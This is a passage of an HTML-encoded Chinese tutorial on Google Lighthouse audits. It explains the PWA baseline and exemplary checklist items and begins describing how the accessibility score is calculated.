&#x90E8;&#x5206;&#x7684;&#x6307;&#x6807;&#x9879;&#x4F1A;&#x76F4;&#x63A5;&#x5F71;&#x54CD;&#x5206;&#x6570;&#xFF0C;&#x53EF;&#x4EE5;&#x4F5C;&#x4E3A;&#x6211;&#x4EEC;&#x7684;&#x4E3B;&#x8981;&#x53C2;&#x8003;&#x70B9;&#x3002;&#x53E6;&#x5916;&#x7684;&#x4E24;&#x90E8;&#x5206;&#x4E2D;&#xFF0C; Opportunities &#x63D0;&#x4F9B;&#x4E86;&#x8BE6;&#x7EC6;&#x7684;&#x5EFA;&#x8BAE;&#x548C;&#x6587;&#x6863;&#xFF0C;&#x6765;&#x89E3;&#x91CA;&#x4F4E;&#x5206;&#x7684;&#x539F;&#x56E0;&#xFF0C;&#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x5177;&#x4F53;&#x8FDB;&#x884C;&#x5B9E;&#x73B0;&#x548C;&#x6539;&#x8FDB;&#x3002;Diagnostics &#x90E8;&#x5206;&#x7684;&#x5217;&#x8868;&#x9879;&#x5219;&#x4E3A;&#x8FDB;&#x4E00;&#x6B65;&#x6539;&#x5584;&#x6027;&#x80FD;&#x7684;&#x5B9E;&#x9A8C;&#x548C;&#x8C03;&#x6574;&#xFF0C;&#x7ED9;&#x51FA;&#x4E86;&#x6307;&#x5BFC;&#x3002;&#x8FD9;&#x4E24;&#x8005;&#x4E0D;&#x4F1A;&#x7EB3;&#x5165;&#x5206;&#x6570;&#x7684;&#x8BA1;&#x7B97;&#x3002;</p>\n<h3 id=\"pwa-&#x8BC4;&#x5206;\"><a name=\"pwa-&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#pwa-&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x8BC4;&#x5206;</h3>\n<h4 id=\"&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;\"><a name=\"&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;\" class=\"plugin-anchor\" href=\"#&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;</h4>\n<p>PWA&#xFF08;Progressive Web App&#xFF09;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x503C;&#x533A;&#x95F4;&#x4E5F;&#x662F;0-100&#x3002;Lighthouse &#x4F7F;&#x7528; PWA &#x57FA;&#x51C6;&#x68C0;&#x67E5;&#x9879;&#x5217;&#x8868;&#xFF08;Baseline PWA Checklist&#xFF09;&#x8FDB;&#x884C;&#x6D4B;&#x8BC4;&#xFF0C;&#x6D4B;&#x8BC4;&#x7ED3;&#x679C;&#x5C06;&#x8FD9;&#x4E9B;&#x6307;&#x6807;&#x9879;&#x5206;&#x6210;&#x4E86;&#x56DB;&#x4E2A;&#x7C7B;&#x522B;&#xFF0C;&#x5171;&#x5305;&#x542B;12&#x4E2A;&#x81EA;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;&#x548C;3&#x4E2A;&#x624B;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;&#xFF0C;&#x5176;&#x4E2D;&#x5404;&#x4E2A;&#x81EA;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;&#x7684;&#x8BC4;&#x5206;&#x6743;&#x91CD;&#x662F;&#x76F8;&#x540C;&#x7684;&#x3002;PWA &#x7684;&#x8BC4;&#x6D4B;&#x6307;&#x6807;&#x5BF9;&#x6211;&#x4EEC;&#x6765;&#x8BF4;&#x975E;&#x5E38;&#x91CD;&#x8981;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4ECE;&#x8FD9;&#x56DB;&#x4E2A;&#x7C7B;&#x522B;&#x8BE6;&#x7EC6;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;&#x3002;</p>\n<h5 id=\"&#x5FEB;&#x901F;&#x53EF;&#x9760;\"><a name=\"&#x5FEB;&#x901F;&#x53EF;&#x9760;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5FEB;&#x901F;&#x53EF;&#x9760;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5FEB;&#x901F;&#x53EF;&#x9760;\" class=\"plugin-anchor\" href=\"#&#x5FEB;&#x901F;&#x53EF;&#x9760;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5FEB;&#x901F;&#x53EF;&#x9760;</h5>\n<ol>\n<li>&#x9875;&#x9762;&#x5728;&#x79FB;&#x52A8;&#x7F51;&#x7EDC;&#x6761;&#x4EF6;&#x4E0B;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x52A0;&#x8F7D;&#x3002;</li>\n<li>&#x5728;&#x79BB;&#x7EBF;&#x6761;&#x4EF6;&#x4E0B;&#x9875;&#x9762;&#x80FD;&#x591F;&#x8FD4;&#x56DE;&#x72B6;&#x6001;&#x7801;200&#x3002;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; Service Worker &#x6765;&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#x3002;</li>\n<li>start_url &#x5728;&#x79BB;&#x7EBF;&#x6761;&#x4EF6;&#x4E0B;&#x8FD4;&#x56DE;&#x72B6;&#x6001;&#x7801;200&#x3002;start_url &#x662F;&#x524D;&#x9762;&#x7AE0;&#x8282;&#x6211;&#x4EEC;&#x63D0;&#x5230;&#x8FC7;&#x7684; manifest.json &#x4E2D;&#x7684;&#x4E00;&#x4E2A;&#x5C5E;&#x6027;&#xFF0C;&#x5B83;&#x6307;&#x5B9A;&#x4E86;&#x7528;&#x6237;&#x6253;&#x5F00;&#x8BE5; PWA &#x65F6;&#x52A0;&#x8F7D;&#x7684; URL&#x3002;</li>\n</ol>\n<h5 id=\"&#x53EF;&#x5B89;&#x88C5;\"><a name=\"&#x53EF;&#x5B89;&#x88C5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x53EF;&#x5B89;&#x88C5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x53EF;&#x5B89;&#x88C5;\" class=\"plugin-anchor\" href=\"#&#x53EF;&#x5B89;&#x88C5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x53EF;&#x5B89;&#x88C5;</h5>\n<ol>\n<li>&#x59CB;&#x7EC8;&#x4F7F;&#x7528; HTTPS&#x3002;</li>\n<li>&#x6CE8;&#x518C; Service Worker &#x6765;&#x7F13;&#x5B58;&#x9875;&#x9762;&#x4EE5;&#x53CA; start_url&#x3002;</li>\n<li>&#x4F7F;&#x7528; manifest &#x6587;&#x4EF6;&#x6765;&#x5B9E;&#x73B0;&#x5B89;&#x88C5; PWA &#x7684;&#x9700;&#x6C42;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x80FD;&#x591F;&#x4E3B;&#x52A8;&#x901A;&#x77E5;&#x7528;&#x6237;&#x5C06;&#x5E94;&#x7528;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#xFF0C;&#x589E;&#x52A0;&#x7559;&#x5B58;&#x7387;&#x3002;</li>\n</ol>\n<h5 id=\"pwa-&#x4F18;&#x5316;\"><a name=\"pwa-&#x4F18;&#x5316;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x4F18;&#x5316;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x4F18;&#x5316;\" class=\"plugin-anchor\" href=\"#pwa-&#x4F18;&#x5316;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x4F18;&#x5316;</h5>\n<ol>\n<li>&#x5C06; HTTP &#x6D41;&#x91CF;&#x91CD;&#x5B9A;&#x5411;&#x5230; HTTPS&#x3002;</li>\n<li>&#x914D;&#x7F6E;&#x81EA;&#x5B9A;&#x4E49;&#x542F;&#x52A8;&#x753B;&#x9762;&#x3002;</li>\n<li>&#x8BBE;&#x7F6E;&#x5730;&#x5740;&#x680F;&#x4E3B;&#x9898;&#x989C;&#x8272;&#x3002;</li>\n<li>&#x9875;&#x9762;&#x5185;&#x5BB9;&#x9488;&#x5BF9;&#x89C6;&#x53E3;&#x5927;&#x5C0F;&#x81EA;&#x9002;&#x5E94;&#xFF0C;&#x5BF9;&#x79FB;&#x52A8;&#x7528;&#x6237;&#x7684;&#x5C55;&#x793A;&#x66F4;&#x53CB;&#x597D;&#x3002;</li>\n<li>&#x4F7F;&#x7528;&#x4E86; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#xFF0C;&#x5E76;&#x8BBE;&#x7F6E;&#x4E86; width &#x6216; initial-scale &#x5C5E;&#x6027;&#x3002;</li>\n<li>&#x5F53; JavaScript &#x6587;&#x4EF6;&#x4E0D;&#x53EF;&#x7528;&#x65F6;&#xFF0C;&#x63D0;&#x4F9B;&#x964D;&#x7EA7;&#x63AA;&#x65BD;&#xFF0C;&#x9875;&#x9762;&#x80FD;&#x663E;&#x793A;&#x57FA;&#x672C;&#x5185;&#x5BB9;&#x800C;&#x4E0D;&#x51FA;&#x73B0;&#x767D;&#x5C4F;&#x3002;</li>\n</ol>\n<h5 id=\"&#x624B;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;\"><a name=\"&#x624B;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x624B;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x624B;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;\" class=\"plugin-anchor\" href=\"#&#x624B;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x624B;&#x52A8;&#x6D4B;&#x8BD5;&#x9879;</h5>\n<ol>\n<li>&#x7AD9;&#x70B9;&#x8DE8;&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x7528;&#xFF0C;&#x5982;&#x4E3B;&#x6D41;&#x6D4F;&#x89C8;&#x5668; Chrome, Edge, Firefox &#x53CA; Safari &#x7B49;&#x3002;</li>\n<li>&#x9875;&#x9762;&#x95F4;&#x5207;&#x6362;&#x6D41;&#x7545;&#xFF0C;&#x5373;&#x4F7F;&#x5728;&#x8F83;&#x5DEE;&#x7684;&#x7F51;&#x7EDC;&#x73AF;&#x5883;&#x4E0B;&#xFF0C;&#x5207;&#x6362;&#x52A8;&#x753B;&#x4E5F;&#x5E94;&#x8BE5;&#x7B80;&#x6D01;&#x987A;&#x7545;&#xFF0C;&#x8FD9;&#x662F;&#x63D0;&#x9AD8;&#x7528;&#x6237;&#x611F;&#x77E5;&#x4F53;&#x9A8C;&#x7684;&#x5173;&#x952E;&#x3002;</li>\n<li>&#x4FDD;&#x8BC1;&#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x90FD;&#x6709;&#x72EC;&#x4E00;&#x65E0;&#x4E8C;&#x7684; URL&#xFF0C;&#x80FD;&#x591F;&#x5728;&#x65B0;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x7A97;&#x53E3;&#x6253;&#x5F00;&#xFF0C;&#x4E14;&#x65B9;&#x4FBF;&#x5728;&#x793E;&#x4EA4;&#x5A92;&#x4F53;&#x4E0A;&#x8FDB;&#x884C;&#x5206;&#x4EAB;&#x3002;</li>\n</ol>\n<h4 id=\"&#x793A;&#x8303;&#x6027;&#x6307;&#x6807;&#x9879;\"><a name=\"&#x793A;&#x8303;&#x6027;&#x6307;&#x6807;&#x9879;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x793A;&#x8303;&#x6027;&#x6307;&#x6807;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x793A;&#x8303;&#x6027;&#x6307;&#x6807;&#x9879;\" class=\"plugin-anchor\" href=\"#&#x793A;&#x8303;&#x6027;&#x6307;&#x6807;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x793A;&#x8303;&#x6027;&#x6307;&#x6807;&#x9879;</h4>\n<p>&#x9664;&#x4E86;&#x4E0A;&#x8FF0;&#x57FA;&#x51C6;&#x6307;&#x6807;&#x9879;&#x4E4B;&#x5916;&#xFF0C;&#x4E3A;&#x4E86;&#x8BA9; PWA &#x7684;&#x4F53;&#x9A8C;&#x66F4;&#x52A0;&#x5B8C;&#x7F8E;&#xFF0C;&#x8FD8;&#x6709; Lighthouse &#x672A;&#x5B9E;&#x73B0;&#x68C0;&#x67E5;&#x7684;&#x8FDB;&#x9636;&#x6307;&#x6807;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x53EF;&#x4EE5;&#x4F5C;&#x4E3A;&#x793A;&#x8303;&#x6027;&#x53C2;&#x8003;&#x7684; PWA &#x7684;&#x6307;&#x6807;&#xFF0C;&#x8FD9;&#x4E9B;&#x6307;&#x6807;&#x5927;&#x591A;&#x9700;&#x8981;&#x4EBA;&#x5DE5;&#x8FDB;&#x884C;&#x786E;&#x8BA4;&#xFF0C;&#x5B83;&#x4EEC;&#x4E5F;&#x5206;&#x6210;&#x4E86;&#x51E0;&#x4E2A;&#x7C7B;&#x522B;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x9488;&#x5BF9;&#x6027;&#x5730;&#x6539;&#x8FDB; PWA&#x3002;</p>\n<h5 id=\"&#x53EF;&#x7D22;&#x5F15;--&#x793E;&#x4EA4;&#x652F;&#x6301;\"><a name=\"&#x53EF;&#x7D22;&#x5F15;--&#x793E;&#x4EA4;&#x652F;&#x6301;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x53EF;&#x7D22;&#x5F15;--&#x793E;&#x4EA4;&#x652F;&#x6301;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x53EF;&#x7D22;&#x5F15;--&#x793E;&#x4EA4;&#x652F;&#x6301;\" class=\"plugin-anchor\" href=\"#&#x53EF;&#x7D22;&#x5F15;--&#x793E;&#x4EA4;&#x652F;&#x6301;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x53EF;&#x7D22;&#x5F15; &amp; &#x793E;&#x4EA4;&#x652F;&#x6301;</h5>\n<ol>\n<li>&#x7AD9;&#x70B9;&#x7684;&#x5185;&#x5BB9;&#x53EF;&#x4EE5;&#x88AB; Baidu&#xFF0C;Google &#x7B49;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55;&#x7D22;&#x5F15;&#x3002;</li>\n<li>&#x63D0;&#x4F9B;&#x5FC5;&#x8981;&#x7684; <code>Schema.org</code> &#x6807;&#x8BB0;&#x6570;&#x636E;&#xFF0C;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x90FD;&#x4F1A;&#x4F9D;&#x636E;&#x8FD9;&#x4E9B;&#x6807;&#x8BB0;&#x6765;&#x4F18;&#x5316;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#xFF0C;&#x8BA9;&#x4EBA;&#x4EEC;&#x66F4;&#x5BB9;&#x6613;&#x627E;&#x5230;&#x6B63;&#x786E;&#x7684;&#x7F51;&#x9875;&#x3002;</li>\n<li>&#x63D0;&#x4F9B;&#x5FC5;&#x8981;&#x7684;&#x793E;&#x4EA4;&#x6807;&#x8BB0;&#x6570;&#x636E;&#xFF0C;&#x5982; Twitter &#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>twitter:card<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>summary<span class=\"token punctuation\">&quot;</span></span> <span class=\"token punctuation\">/&gt;</span></span></code> &#x6807;&#x7B7E;&#xFF0C;&#x80FD;&#x591F;&#x4FBF;&#x4E8E;&#x88AB;&#x8FD9;&#x4E9B;&#x793E;&#x4EA4;&#x7AD9;&#x70B9;&#x7684;&#x722C;&#x866B;&#x6293;&#x53D6;&#x3002;</li>\n<li>&#x63D0;&#x4F9B; Canonical URL&#xFF0C;&#x4E00;&#x822C;&#x9002;&#x7528;&#x4E8E;&#x9875;&#x9762;&#x5185;&#x5BB9;&#x80FD;&#x4F7F;&#x7528;&#x591A;&#x4E2A; URL &#x8BBF;&#x95EE;&#x7684;&#x573A;&#x666F;&#x3002;</li>\n<li>&#x9875;&#x9762;&#x4F7F;&#x7528; History API&#xFF0C;&#x5BF9;&#x4E8E;&#x5355;&#x9875;&#x5E94;&#x7528;&#xFF0C;&#x786E;&#x4FDD; URL &#x4E0D;&#x8981;&#x4F7F;&#x7528;&#x7247;&#x6BB5;&#x6807;&#x8BC6;&#x7B26;&#xFF0C;&#x5982; <code>https://example.com/#!user/26601</code> &#x4E2D; #&#xFF01;&#x540E;&#x9762;&#x7684;&#x90E8;&#x5206;&#x3002;</li>\n</ol>\n<h5 id=\"&#x7528;&#x6237;&#x4F53;&#x9A8C;\"><a name=\"&#x7528;&#x6237;&#x4F53;&#x9A8C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7528;&#x6237;&#x4F53;&#x9A8C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7528;&#x6237;&#x4F53;&#x9A8C;\" class=\"plugin-anchor\" href=\"#&#x7528;&#x6237;&#x4F53;&#x9A8C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7528;&#x6237;&#x4F53;&#x9A8C;</h5>\n<ol>\n<li>&#x5F53;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x65F6;&#xFF0C;&#x786E;&#x4FDD;&#x9875;&#x9762;&#x5185;&#x5BB9;&#x4E0D;&#x8DF3;&#x52A8;&#x6216;&#x95EA;&#x70C1;&#x3002;</li>\n<li>&#x4ECE;&#x8BE6;&#x60C5;&#x9875;&#x8FD4;&#x56DE;&#x5217;&#x8868;&#x9875;&#x65F6;&#xFF0C;&#x8BB0;&#x5F55;&#x4E4B;&#x524D;&#x7684;&#x6EDA;&#x52A8;&#x4F4D;&#x7F6E;&#x3002;</li>\n<li>&#x8F93;&#x5165;&#x6587;&#x5B57;&#x65F6;&#xFF0C;&#x952E;&#x76D8;&#x4E0D;&#x4F1A;&#x6321;&#x4F4F;&#x8F93;&#x5165;&#x6846;&#x3002;</li>\n<li>&#x5728; Standalone &#x6A21;&#x5F0F;&#x4E0B;&#xFF08;&#x4ECE;&#x4E3B;&#x5C4F;&#x5E55;&#x542F;&#x52A8;&#x7684;&#x60C5;&#x51B5;&#xFF09;&#xFF0C;&#x9875;&#x9762;&#x5185;&#x5BB9;&#x53EF;&#x5206;&#x4EAB;&#x3002;</li>\n<li>&#x5728;&#x4E0D;&#x540C;&#x7684;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x53CA;&#x684C;&#x9762;&#x7535;&#x8111;&#x4E0A;&#xFF0C;&#x7AD9;&#x70B9;&#x80FD;&#x591F;&#x81EA;&#x9002;&#x5E94;&#x3002;</li>\n<li>&#x4E0D;&#x8981;&#x8FC7;&#x5EA6;&#x4F7F;&#x7528;&#x5B89;&#x88C5; APP &#x7684;&#x63A8;&#x9001;&#x3002;</li>\n<li>&#x5728;&#x9002;&#x5F53;&#x7684;&#x65F6;&#x5019;&#x663E;&#x793A;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x7684;&#x63A8;&#x9001;&#xFF0C;&#x907F;&#x514D;&#x6253;&#x65AD;&#x7528;&#x6237;&#x6B63;&#x5E38;&#x4F7F;&#x7528;&#x6D41;&#x7A0B;&#x3002;</li>\n</ol>\n<h5 id=\"&#x6027;&#x80FD;\"><a name=\"&#x6027;&#x80FD;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6027;&#x80FD;\" class=\"plugin-anchor\" href=\"#&#x6027;&#x80FD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6027;&#x80FD;</h5>\n<ol>\n<li>&#x9996;&#x6B21;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x5C3D;&#x53EF;&#x80FD;&#x5FEB;&#xFF0C;&#x5373;&#x4F7F;&#x662F;&#x5728;&#x6162;&#x901F; 3G &#x79FB;&#x52A8;&#x7F51;&#x7EDC;&#x4E0B;&#xFF0C;&#x53EF;&#x4EA4;&#x4E92;&#x65F6;&#x95F4;&#x4E5F;&#x5E94;&#x8BE5;&#x5728; 5s &#x4EE5;&#x5185;&#xFF08;&#x5728;&#x57FA;&#x51C6;&#x6307;&#x6807;&#x4E2D;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x95F4;&#x662F; 10s&#xFF09;&#x3002;</li>\n</ol>\n<h5 id=\"&#x7F13;&#x5B58;\"><a name=\"&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F13;&#x5B58;</h5>\n<ol>\n<li>&#x7AD9;&#x70B9;&#x4F7F;&#x7528; cache-first (&#x7F13;&#x5B58;&#x4F18;&#x5148;)&#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x3002;&#x5C3D;&#x53EF;&#x80FD;&#x5730;&#x4F7F;&#x7528;&#x8FD9;&#x79CD;&#x7B56;&#x7565;&#xFF0C;&#x786E;&#x4FDD;&#x5728;&#x6162;&#x7F51;&#x7EDC;&#x73AF;&#x5883;&#x548C;&#x79BB;&#x7EBF;&#x73AF;&#x5883;&#x7684;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x59CB;&#x7EC8;&#x76F8;&#x5F53;&#x3002;</li>\n<li>&#x7528;&#x6237;&#x5904;&#x4E8E;&#x79BB;&#x7EBF;&#x72B6;&#x6001;&#x65F6;&#xFF0C;&#x5E94;&#x5F53;&#x9002;&#x5F53;&#x5730;&#x7ED9;&#x51FA;&#x901A;&#x77E5;&#x3002;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; Network Information API &#x6765;&#x5B9E;&#x73B0;&#x3002;</li>\n</ol>\n<h5 id=\"&#x63A8;&#x9001;&#x901A;&#x77E5;\"><a name=\"&#x63A8;&#x9001;&#x901A;&#x77E5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x63A8;&#x9001;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x63A8;&#x9001;&#x901A;&#x77E5;\" class=\"plugin-anchor\" href=\"#&#x63A8;&#x9001;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x63A8;&#x9001;&#x901A;&#x77E5;</h5>\n<ol>\n<li>&#x544A;&#x77E5;&#x7528;&#x6237;&#x901A;&#x77E5;&#x529F;&#x80FD;&#x7684;&#x4F7F;&#x7528;&#x80CC;&#x666F;&#x548C;&#x539F;&#x56E0;&#xFF0C;&#x4FDD;&#x8BC1;&#x5F97;&#x5230;&#x8BB8;&#x53EF;&#x3002;</li>\n<li>&#x5EFA;&#x8BAE;&#x7528;&#x6237;&#x5F00;&#x542F;&#x63A8;&#x9001;&#x901A;&#x77E5;&#x7684; UI &#x5E94;&#x5F53;&#x5C3D;&#x91CF;&#x53CB;&#x597D;&#xFF0C;&#x4E0D;&#x80FD;&#x592A;&#x5F3A;&#x52BF;&#x3002;</li>\n<li>&#x7AD9;&#x70B9;&#x663E;&#x793A;&#x6743;&#x9650;&#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x5C4F;&#x5E55;&#x7684;&#x5176;&#x4ED6;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x5E94;&#x5F53;&#x9002;&#x5EA6;&#x53D8;&#x6697;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x66F4;&#x6E05;&#x695A;&#x5730;&#x770B;&#x5230;&#x7AD9;&#x70B9;&#x9700;&#x8981;&#x5F00;&#x542F;&#x901A;&#x77E5;&#x6743;&#x9650;&#x7684;&#x7406;&#x7531;&#x3002;</li>\n<li>&#x63A8;&#x9001;&#x901A;&#x77E5;&#x7684;&#x5185;&#x5BB9;&#x5E94;&#x5F53;&#x53CA;&#x65F6;&#x3001;&#x51C6;&#x786E;&#xFF0C;&#x4E14;&#x5177;&#x6709;&#x8F83;&#x5F3A;&#x7684;&#x5173;&#x8054;&#x6027;&#x3002;</li>\n<li>&#x7ED9;&#x7528;&#x6237;&#x63D0;&#x4F9B;&#x5F00;&#x542F;&#x3001;&#x5173;&#x95ED;&#x901A;&#x77E5;&#x7684;&#x64CD;&#x4F5C;&#x6743;&#x9650;&#x3002;</li>\n</ol>\n<h5 id=\"&#x9644;&#x52A0;&#x529F;&#x80FD;&#x70B9;\"><a name=\"&#x9644;&#x52A0;&#x529F;&#x80FD;&#x70B9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9644;&#x52A0;&#x529F;&#x80FD;&#x70B9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9644;&#x52A0;&#x529F;&#x80FD;&#x70B9;\" class=\"plugin-anchor\" href=\"#&#x9644;&#x52A0;&#x529F;&#x80FD;&#x70B9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9644;&#x52A0;&#x529F;&#x80FD;&#x70B9;</h5>\n<ol>\n<li>&#x4F7F;&#x7528; Credential Management API&#xFF0C;&#x5E2E;&#x52A9;&#x7528;&#x6237;&#x5B9E;&#x73B0;&#x8DE8;&#x8BBE;&#x5907;&#x767B;&#x5F55;&#x3002;</li>\n<li>&#x4F7F;&#x7528; Payment Request API&#xFF0C;&#x5E2E;&#x52A9;&#x7528;&#x6237;&#x65B9;&#x4FBF;&#x5730;&#x8C03;&#x8D77;&#x66F4;&#x53CB;&#x597D;&#x7684;&#x539F;&#x751F;&#x754C;&#x9762;&#xFF08;native UI&#xFF09;&#x8FDB;&#x884C;&#x652F;&#x4ED8;&#x64CD;&#x4F5C;&#x3002;</li>\n</ol>\n<h3 id=\"&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;\"><a name=\"&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;\" class=\"plugin-anchor\" href=\"#&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;</h3>\n<p>&#x8BBF;&#x95EE;&#x65E0;&#x969C;&#x788D;&#x8BC4;&#x5206;&#x7684;&#x5206;&#x503C;&#x7531;&#x76F8;&#x5173;&#x6307;&#x6807;&#x7684;&#x52A0;&#x6743;&#x5E73;&#x5747;&#x503C;&#x8BA1;&#x7B97;&#x800C;&#x6765;&#x3002;&#x53EF;&#x4EE5;&#x5728;<a href=\"https://docs.google.com/spreadsheets/d/1Cxzhy5ecqJCucdf1M0iOzM8mIxNc7mmx107o5nj38Eo/edit#gid=0\" target=\"_blank\">&#x8BC4;&#x5206;&#x8BE6;&#x60C5;</a>&#x67E5;&#x9605;&#x6BCF;&#x9879;&#x6307;&#x6807;&#x7684;&#x5177;&#x4F53;&#x6743;&#x91CD;&#x3002;&#x540C;&#x7406;&#xFF0C;&#x8F83;&#x5927;&#x6743;&#x91CD;&#x7684;&#x6307;&#x6807;&#x9879;&#x5BF9;&#x5206;&#x6570;&#x7684;&#x5F71;&#x54CD;&#x8F83;&#x5927;&#x3002;&#x65E0;&#x969C;&#x788D;&#x6027;&#x7684;&#x6BCF;&#x4E2A;&#x6307;&#x6807;&#x9879;&#x6D4B;&#x8BD5;&#x7ED3;&#x679C;&#x4E3A;<code>pass</code>&#x6216;&#x8005;<code>fail</code>&#xFF0C;&#x4E0E;&#x6027;&#x80FD;&#x6307;&#x6807;&#x9879;&#x7684;&#x8BA1;&#x7B97;&#x65B9;&#x5F0F;&#x4E0D;&#x540C;&#xFF0C;&#x5F53;&#x9875;&#x9762;&#x53EA;&#x662F;&#x90E8;&#x5206